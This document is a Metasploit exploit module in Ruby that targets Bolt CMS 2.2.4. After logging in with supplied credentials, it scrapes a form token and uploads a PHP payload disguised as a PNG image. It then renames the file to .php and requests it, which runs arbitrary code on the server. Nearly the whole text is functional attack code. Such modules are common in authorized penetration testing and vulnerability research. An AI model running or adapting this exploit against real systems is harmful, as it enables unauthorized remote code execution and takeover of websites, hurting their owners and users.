2015-09-04 07:09:16 +00:00
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##
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# This module requires Metasploit: http://www.metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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2015-09-10 00:26:15 +00:00
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'CMS Bolt File Upload Vulnerability',
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'Description' => %q{
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Bolt CMS contains a flaw that allows a authenticated remote
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attacker to execute arbitrary PHP code. This module was
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tested on version 2.2.4.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tim Coen', # Vulnerability Disclosure
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'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
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],
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'References' =>
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[
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['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
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],
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'DisclosureDate' => 'Aug 17 2015',
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['Bolt 2.2.4', {}]],
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
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OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),
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OptString.new('USERNAME', [true, 'The username to authenticate with']),
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OptString.new('PASSWORD', [true, 'The password to authenticate with'])
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], self.class)
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end
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def check
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
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)
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if res && res.code == 200 && res.body.include?('Cookies are required to log on to Bolt')
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return Exploit::CheckCode::Appears
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end
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Exploit::CheckCode::Safe
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end
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def username
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datastore['USERNAME']
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end
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def password
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datastore['PASSWORD']
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end
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def fname
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datastore['FOLDERNAME']
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end
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def bolt_login(user, pass)
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
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)
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fail_with(Failure::Unreachable, 'No response received from the target.') unless res
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session_cookie = res.get_cookies
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vprint_status("#{peer} - Logging in...")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
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'cookie' => session_cookie,
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'vars_post' => {
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'username' => user,
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'password' => pass,
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'action' => 'login'
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}
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)
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return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
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nil
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end
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def get_token(cookie, fname)
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
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'cookie' => cookie
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)
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if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
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return Regexp.last_match[1]
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end
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nil
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end
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def rename_payload(cookie, payload, fname)
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
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'vars_post' => {
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'namespace' => 'theme',
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'parent' => fname,
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'oldname' => "#{payload}.png",
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'newname' => "#{payload}.php"
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},
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'cookie' => cookie
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)
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return true if res && res.code == 200 && res.body.include?('1')
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nil
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end
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def exploit
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vprint_status("#{peer} - Authenticating using #{username}:#{password}")
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cookie = bolt_login(username, password)
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fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
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vprint_good("#{peer} - Authenticated with Bolt.")
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token = get_token(cookie, fname)
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fail_with(Failure::Unknown, 'No token found.') if token.nil?
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vprint_good("#{peer} - Token \"#{token}\" found.")
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vprint_status("#{peer} - Preparing payload...")
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payload_name = Rex::Text.rand_text_alpha_lower(10)
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data = Rex::MIME::Message.new
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data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")
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data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
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post_data = data.to_s
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vprint_status("#{peer} - Uploading payload...")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data,
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'cookie' => cookie
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)
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fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
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vprint_good("#{peer} - Uploaded the payload.")
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rename = rename_payload(cookie, payload_name, fname)
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fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
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php_file_name = "#{payload_name}.php"
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payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
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vprint_status("#{peer} - Parsed response.")
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register_files_for_cleanup(php_file_name)
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vprint_status("#{peer} - Executing the payload at #{payload_url}.")
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send_request_cgi(
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'uri' => payload_url,
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'method' => 'GET'
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)
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end
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end
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